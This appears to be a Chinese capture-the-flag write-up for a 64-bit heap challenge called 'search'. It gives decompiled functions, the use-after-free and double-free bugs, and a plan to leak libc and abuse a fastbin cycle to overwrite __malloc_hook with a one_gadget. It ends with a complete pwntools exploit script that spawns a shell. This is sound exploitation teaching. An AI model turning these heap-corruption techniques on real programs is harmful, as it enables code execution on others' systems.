64位程序 #double free #fastbin attack #use after free
程序逻辑
1 __int64 sub_400D60()
2 {
3 __int64 choice; // rax
4
5 head = 0LL;
6 while ( 1 )
7 {
8 while ( 1 )
9 {
10 menu();
11 choice = read_num();
12 if ( (_DWORD)choice != 1 )
13 break;
14 search_word();
15 }
16 if ( (_DWORD)choice != 2 )
17 break;
18 index_sentence();
19 }
20 if ( (_DWORD)choice != 3 )
21 error("Invalid option");
22 return choice;
23 }
search_word功能
1 void search_word()
2 {
3 int v0; // ebp
4 char *v1; // r12
5 word_struct *i; // rbx
6 char choice; // [rsp+0h] [rbp-38h]
7
8 puts("Enter the word size:");
9 v0 = read_num();
10 if ( (unsigned int)(v0 - 1) > 0xFFFD )
11 error("Invalid size");
12 puts("Enter the word:");
13 v1 = (char *)malloc(v0);
14 read_str(v1, v0, 0);
15 for ( i = head; i; i = i->next )
16 {
17 if ( *i->sentence_ptr )
18 {
19 if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) ) //\x00绕过检测
20 {
21 __printf_chk(1LL, "Found %d: ", (unsigned int)i->len);
22 fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
23 putchar('\n');
24 puts("Delete this sentence (y/n)?");
25 read_str(&choice, 2, 1);
26 if ( choice == 'y' )
27 {
28 memset(i->sentence_ptr, 0, i->len); //内容置0,
29 free(i->sentence_ptr); //没有置NULL,use after free
//没有从sentence链表中去除,double free
30 puts("Deleted!");
31 }
32 }
33 }
34 }
35 free(v1);
36 }
index_sentence功能
1 int index_sentence()
2 {
3 int v0; // eax
4 __int64 v1; // rbp
5 int len; // er13
6 char *v3; // r12
7 char *v4; // rbx
8 char *str_tail; // rbp
9 word_struct *v6; // rax
10 int word_size; // edx
11 word_struct *v8; // rdx
12 word_struct *v10; // rdx
13
14 puts("Enter the sentence size:");
15 v0 = read_num();
16 v1 = (unsigned int)(v0 - 1);
17 len = v0;
18 if ( (unsigned int)v1 > 0xFFFD )
19 error("Invalid size");
20 puts("Enter the sentence:");
21 v3 = (char *)malloc(len);
22 read_str(v3, len, 0);
23 v4 = v3 + 1;
24 str_tail = &v3[v1 + 2];
25 v6 = (word_struct *)malloc(0x28uLL);
26 word_size = 0;
27 v6->content = (__int64)v3;
28 v6->size = 0;
29 v6->sentence_ptr = v3;
30 v6->len = len;
31 do
32 {
33 while ( *(v4 - 1) != ' ' )
34 {
35 v6->size = ++word_size;
36 LABEL_4:
37 if ( ++v4 == str_tail )
38 goto LABEL_8;
39 }
40 if ( word_size )
41 {
42 v10 = head;
43 head = v6;
44 v6->next = v10;
45 v6 = (word_struct *)malloc(0x28uLL);
46 word_size = 0;
47 v6->content = (__int64)v4;
48 v6->size = 0;
49 v6->sentence_ptr = v3;
50 v6->len = len;
51 goto LABEL_4;
52 }
53 v6->content = (__int64)v4++;
54 }
55 while ( v4 != str_tail );
56 LABEL_8:
57 if ( word_size )
58 {
59 v8 = head;
60 head = v6;
61 v6->next = v8;
62 }
63 else
64 {
65 free(v6);
66 }
67 return puts("Added sentence");
68 }
有如下结构体
1 00000000 word_struct struc ; (sizeof=0x28, mappedto_6)
2 00000000 content dq ?
3 00000008 size dd ?
4 0000000C padding1 dd ?
5 00000010 sentence_ptr dq ? ; offset
6 00000018 len dd ?
7 0000001C padding2 dd ?
8 00000020 next dq ? ; offset
9 00000028 word_struct ends
利用思路
- 利用 unsorted bin 地址泄漏 libc 基地址
- 利用 double free 构造 fastbin 循环链表
- fastbin attachk分配 chunk 到 malloc_hook 附近,修改 malloc_hook 为 one_gadget
expolit
1 from pwn import *
2 p = process("./search")
3 main_arena_offset = 0x3c4b20
4 context.binary='./search'
5
6 def offset_bin_main_arena(idx):
7 word_bytes = context.word_size / 8
8 offset = 4 # lock
9 offset += 4 # flags
10 offset += word_bytes * 10 # offset fastbin
11 offset += word_bytes * 2 # top,last_remainder
12 offset += idx * 2 * word_bytes # idx
13 offset -= word_bytes * 2 # bin overlap
14 return offset
15
16
17 unsortedbin_offset_main_arena = offset_bin_main_arena(0)
18
19
20 def index_sentence(s):
21 p.recvuntil("3: Quit\n")
22 p.sendline('2')
23 p.recvuntil("Enter the sentence size:\n")
24 p.sendline(str(len(s)))
25 p.send(s)
26
27
28 def search_word(word):
29 p.recvuntil("3: Quit\n")
30 p.sendline('1')
31 p.recvuntil("Enter the word size:\n")
32 p.sendline(str(len(word)))
33 p.send(word)
34
35
36 smallbin_sentence = 's' * 0x85 + ' m '
37 index_sentence(smallbin_sentence)
38 search_word('m')
39 p.recvuntil('Delete this sentence (y/n)?\n')
40 p.sendline('y')
41 search_word('\x00')
42 p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
43 unsortedbin_addr = u64(p.recv(8))
44 p.recvuntil('Delete this sentence (y/n)?\n')
45 p.sendline('n')
46 main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
47 libc_base = main_arena_addr - main_arena_offset
48 log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
49 log.success('libc base addr: ' + hex(libc_base))
50 log.success('main_arena_addr: ' + hex(main_arena_addr))
51
52 # 2. create cycle fastbin 0x70 size
53 index_sentence('a' * 0x5d + ' d ') #a
54 index_sentence('b' * 0x5d + ' d ') #b
55 index_sentence('c' * 0x5d + ' d ') #c
56
57 # a->b->c->NULL
58 search_word('d')
59 p.recvuntil('Delete this sentence (y/n)?\n')
60 p.sendline('y')
61 p.recvuntil('Delete this sentence (y/n)?\n')
62 p.sendline('y')
63 p.recvuntil('Delete this sentence (y/n)?\n')
64 p.sendline('y')
65
66 # b->a->b->a->...
67 search_word('\x00')
68 p.recvuntil('Delete this sentence (y/n)?\n')
69 p.sendline('y')
70 p.recvuntil('Delete this sentence (y/n)?\n')
71 p.sendline('n')
72 p.recvuntil('Delete this sentence (y/n)?\n')
73 p.sendline('n')
74
75 # 3. fastbin attack to malloc_hook nearby chunk
76 fake_chunk_addr = main_arena_addr - 0x33
77 fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
78
79 index_sentence(fake_chunk)
80
81 index_sentence('a' * 0x60)
82
83 index_sentence('b' * 0x60)
84
85 gdb.attach(p)
86 one_gadget_addr = libc_base + 0xf02a4
87 payload = 'a' * 0x13 + p64(one_gadget_addr)
88 payload = payload.ljust(0x60, 'f')
89
90 index_sentence(payload)
91
92 p.interactive()